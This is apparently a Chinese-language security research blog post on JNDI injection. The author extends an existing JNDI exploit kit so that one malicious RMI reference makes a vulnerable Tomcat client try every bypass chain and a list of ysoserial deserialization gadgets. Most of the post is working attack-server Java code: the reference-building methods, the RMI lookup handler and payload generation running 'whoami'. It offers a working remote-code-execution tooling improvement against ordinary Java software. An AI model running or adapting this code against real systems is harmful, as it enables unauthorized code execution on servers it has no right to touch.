JNDI漏洞利用探索
最近學習了淺藍師傅尋找的一些JNDI漏洞的利用鏈受益匪淺，自己也嘗試關于JNDI漏洞利用做一些挖掘，目前JNDI在利用過程我想到了兩個問題。
- 測試每一個JNDI Bypass 利用鏈都需要手動更改URL很不方便，能否我去請求一個地址，讓目標將我所有的鏈跑一遍？
- JNDI利用過程中可以通過反序列化利用，能否自動化探測反序列化利用鏈？
自動測試Bypass 利用鏈
為了讓這種方式更加通用，我們首先考慮的是JDK原生的實現ObjectFactory的類，那么我注意到了下面幾個類。
- com.sun.jndi.rmi.registry.RegistryContextFactory
- com.sun.jndi.ldap.LdapCtxFactory
RegistryContextFactory
調用分析
通過getURLs從Reference獲取url列表并封裝為數組，URLsToObject中對數組中的URL列表發起RMI請求，所以RegistryContextFactory滿足我們的需求。
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable ?> var4) throws NamingException {
//判斷是否為引用對象并且factoryClassname為RegistryContextFactory
if (!isRegistryRef(var1)) {
return null;
} else {
//從引用對象中獲取URL列表并循環發起調用
Object var5 = URLsToObject(getURLs((Reference)var1), var4);
if (var5 instanceof RegistryContext) {
RegistryContext var6 = (RegistryContext)var5;
var6.reference = (Reference)var1;
}
return var5;
}
}
- getURLs獲取URL必須滿足RefAddr是StringRefAddr類型且Type屬性為URL才會保存。
private static String[] getURLs(Reference var0) throws NamingException {
int var1 = 0;
String[] var2 = new String[var0.size()];
Enumeration var3 = var0.getAll();
//從RefAddr中獲取url并保存到數組中
while(var3.hasMoreElements()) {
RefAddr var4 = (RefAddr)var3.nextElement();
//只有RefAddr是StringRefAddr類型，且Type屬性為URL才會保存
if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
var2[var1++] = (String)var4.getContent();
}
}
if (var1 == 0) {
throw new ConfigurationException("Reference contains no valid addresses");
} else if (var1 == var0.size()) {
return var2;
} else {
//返回URL數組
String[] var5 = new String[var1];
System.arraycopy(var2, 0, var5, 0, var1);
return var5;
}
}
- URLsToObject中創建
rmiURLContextFactory對象并調用getObjectInstance。getObjectInstance中判斷傳入的object類型如果是數組則調用getUsingURLs.
private static Object URLsToObject(String[] var0, Hashtable ?> var1) throws NamingException {
rmiURLContextFactory var2 = new rmiURLContextFactory();
return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
}
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
//數組類型
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
- getUsingURLs創建
rmiURLContext并循環調用lookup發起RMI調用直到獲取一個對象并返回。
private static Object getUsingURLs(String[] var0, Hashtable ?> var1) throws NamingException {
if (var0.length == 0) {
throw new ConfigurationException("rmiURLContextFactory: empty URL array");
} else {
rmiURLContext var2 = new rmiURLContext(var1);
try {
NamingException var3 = null;
int var4 = 0;
while(var4 < var0.length) {
try {
Object var5 = var2.lookup(var0[var4]);
return var5;
} catch (NamingException var9) {
var3 = var9;
++var4;
}
}
throw var3;
} finally {
var2.close();
}
}
}
利用分析
通過RegistryContextFactory利用只能使用rmi協議發起請求，所以目前只能用這種方式檢測rmi相關的利用，在welk1n師傅的JNDI- Exploit- Kit工具中集成了一部分關于RMI的利用鏈，其中也包含了Tomcat和GROOVY的bypass，當然Groovy的執行也依賴Tomcat。工具運行后會生成一些RMI的URL，我們可以將RegistryContextFactory也加到利用鏈中。
在RMIRefServer中包含了RMI處理的邏輯，因此可以把RegistryContextFactory引用也注冊進去。
/*
* Fuzz All Bypass
* Created by 藏青
*/
public ResourceRef execAll() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
//Mapper.references中保存了隨機生成的rmi名稱和利用方式的關系
for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
String mapKey = entry.getKey();
String mapValue = entry.getValue();
//如果是RegistryContextFactory則跳過，否則會造成遞歸查詢
if(!mapValue.equals("BypassTestAll")){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
}
}
return ref;
}
RMIRefServer#handleRMI中會根據請求的url找到對應的處理方法生成引用對象并返回，所以我們只要將我們構造的execAll方法也加入到if判斷中即可。
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
//獲取rmi請求的對象名稱，這里是隨機生成的額名稱
String object = (String) ois.readObject();
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
String cpstring = this.classpathUrl.toString();
//根據取出的名稱從Mapper.references中取出利用方式對應的名稱
String reference = Mapper.references.get(object);
if (reference == null) {
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
//return false;
cpstring = "BypassByGroovy";
}
URL turl = new URL(cpstring + "#" + reference);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//創建ReferenceWrapper包裝類
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
// 根據名稱不同調用不同的方法得到對應的引用對象
if (reference.startsWith("BypassByEL")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByEL.");
Reflections.setFieldValue(rw, "wrappee", execByEL());
} else if (reference.startsWith("BypassByGroovy")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByGroovy.");
Reflections.setFieldValue(rw, "wrappee", execByGroovy());
}
//將我們的構造的execAll方法加到判斷中
else if (reference.startsWith("BypassTestAll")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
Reflections.setFieldValue(rw, "wrappee", execAll());
}
else {
System.out.println(
String.format(
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
new URL(cpstring + reference.concat(".class"))));
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
由于util.Mapper#references中包含了引用關系，所以這里也需要做下更改。
static {
...
references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
}
當然我們也可以把之前分析的一些利用鏈也加進去，但是這并不是我們本片文章的重點，就不分析了。添加并啟動后，可以看到我們我們添加的利用鏈地址。
在tomcat中請求我們創建的registry會將所有的利用鏈跑一遍，如果利用失敗則會導致異常進入下一個利用鏈，直到跑成功獲取對象并返回。
我們也可以從server端進行驗證，因為我這里使用的tomcat8所以跑到el表達式后利用成功并返回。
棧溢出
忽然想到如果我們在引用中的地址也是RegistryContextFactory那不就會導致遞歸的lookup查詢，是否會產生什么問題。服務端代碼如下：
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
經過測試遞歸查詢會觸發tomcat的棧溢出異常，但是并不會對程序的使用產生影響。
LdapCtxFactory
LdapCtxFactory和RegistryContextFactory相對應，具體的過程不分析了，最終是通過LdapCtxFactory#getUsingURL來執行，但是只會獲取到DirContext并沒有調用Lookup方法，所以似乎不能利用。
private static DirContext getUsingURL(String var0, Hashtable ?> var1) throws NamingException {
Object var2 = null;
LdapURL var3 = new LdapURL(var0);
String var4 = var3.getDN();
String var5 = var3.getHost();
int var6 = var3.getPort();
String var8 = null;
String[] var7;
if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
String var9 = var3.getScheme() + "://";
String[] var10 = new String[var7.length];
String var11 = var3.getQuery();
String var12 = var3.getPath() + (var11 != null ? var11 : "");
for(int var13 = 0; var13 < var7.length; ++var13) {
var10[var13] = var9 + var7[var13] + var12;
}
var2 = getUsingURLs(var10, var1);
((LdapCtx)var2).setDomainName(var8);
} else {
var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
((LdapCtx)var2).setProviderUrl(var0);
}
//返回DirContext對象
return (DirContext)var2;
}
自動測試反序列化利用鏈
通過對問題一的分析，我們現在只能利用RMI協議來協助我們一次性發起多個RMI調用，目前的大多數工具都是基于Ldap來進行反序列化利用的，不過在RMI中也可以通過反序列化利用。
首先我們要利用的場景是去通過RMI攻擊客戶端，所以可以利用ysoserial#JRMPListener模塊來利用，它構建了一個JRMP監聽，當客戶端發起請求時會構建一個異常對象BadAttributeValueExpException，并在這個異常對象的val屬性中放入我們要構造好的惡意對象。
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//寫入異常標識
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//構建BadAttributeValueExpException異常對象，并在val屬性中加入惡意對象。
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload );
oos.writeObject(ex);
當客戶端發起請求時,會在StreamRemoteCall#executeCall中通過判斷returnType是否為TransportConstants#ExceptionalReturn來決定是否反序列化，也就是只有返回出現異常時才會對異常對象進行反序列化。
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//當返回類型為ExceptionalReturn則進行反序列化
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
但是由于我們構建了一個異常對象，在執行過程中會拋出異常。而我們在分析RegistryContextFactory時說過，只有當返回正常時才會停止，返回異常會繼續請求其他的RMI地址，所以如果這樣利用，只能把所有的反序列化利用鏈Fuzz一遍，我們并不知道哪個利用鏈可用。
失敗嘗試一
分析在StreamRemoteCall#executeCall的利用過程我發現，只要設置了TransportConstants#ExceptionalReturn都會進行反序列化，如果我們僅僅設置了這個字段，但是傳入的是只是我們的惡意對象，能否繞過此處的報錯？所以我對JRMPListener做了如下更改。
但是在反序列化結束后會判斷我們傳入的是否為異常對象，如果不是也會拋異常。
失敗嘗試二
繼續分析發現RegistryImpl_Stub#lookup中也會進行反序列化，但是會將反序列化的結果轉成Remote類型，如果我們返回的不是Remote的實現類也會導致異常。
利用分析
雖然我們不能直接通過是否繼續請求來判斷利用鏈存在，但是還是可以通過DNSLog的方式進行判斷。我們可以在每次請求后獲取DNSLog的結果，如果有返回值則代表利用鏈可用。
但是在編寫好代碼測試時驚喜的發現，在利用失敗捕獲異常時只會捕獲NamingException類型的異常。
如果利用鏈沒找到，會拋出CommunicationException異常，而這個異常是NamingException的子類，因此會被捕獲
如果利用成功，拋出的是其他類型的異常，則不會被捕獲。
但是這里還有一個問題，有些利用類存在，但是由于JDK版本或者其他問題導致不能利用，比如CC1，這個時候也會拋出其他異常，但是并不能觸發漏洞，所以在自動化探測的時候要將這些類去除掉。
大概測了下在CC鏈中CC1,CC3,CC7都不能使用。CC1和CC3都是因為JDK版本過高無法使用可以理解，但是在CC7中明明可以執行成功但是還是會返回CommunicationException異常。
其他的利用鏈也先不測試了，這里只大致說下思路。通過這種實現已經可以達到自動化探測部分利用鏈了。最終我們服務端請求中最后一個請求的gadget就是存在的利用鏈。
代碼實現主要是在JNDI-Exploit-Kit基礎上做了一點點小改進，主要是在if判斷中繼續加上了execAllGadgat方法。
在execAllGadgat方法中遍歷已經添加的利用鏈并添加到引用對象中。
public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};
public Object execAllGadgat() {
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for(String gadget:gadgets){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
}
return ref;
}
由于我們的Payload并沒有在references中添加，因此從Map中會獲取不到，所以我這里加了一個判斷，當object以ser開頭，則表示是通過反序列化利用，給reference賦值。
最后再加上一個引用判斷，如果以serial開頭則取出調用鏈名稱獲取惡意對象直接寫入。
public Object execGadgets(String className) throws Exception {
Class clazz = Class.forName("ysoserial.payloads."+className);
ObjectPayload payload = (ObjectPayload) clazz.newInstance();
final Object objBefore = payload.getObject("whoami", "exec_global");
return objBefore;
}
總結
雖然這次的小發現對于JNDI漏洞的利用來說可能有些畫蛇添足，通過這幾天的研究也發現了自己對RMI請求理解上的不足，最后對這種利用方式做一個總結。
- 由于我們要傳入一個ObjectFactory類名，所以需要一個Reference對象，但是JDK自帶的只有
LinkRef，不能傳遞ObjectFactory的類名，所以這里還是使用了tomcat中的ResourceRef,所以還是有些依賴Tomcat。 - 由于
LdapCtxFactory最終沒有調用Lookup方法，因此目前只能通過RMI協議來進行自動化檢測 - 由于
CC1,CC3,CC7無法通過返回的異常類型判斷是否存在，所以不能檢測這幾條鏈。目前我只測了CC鏈，其他類型的利用鏈是否有異常未測試
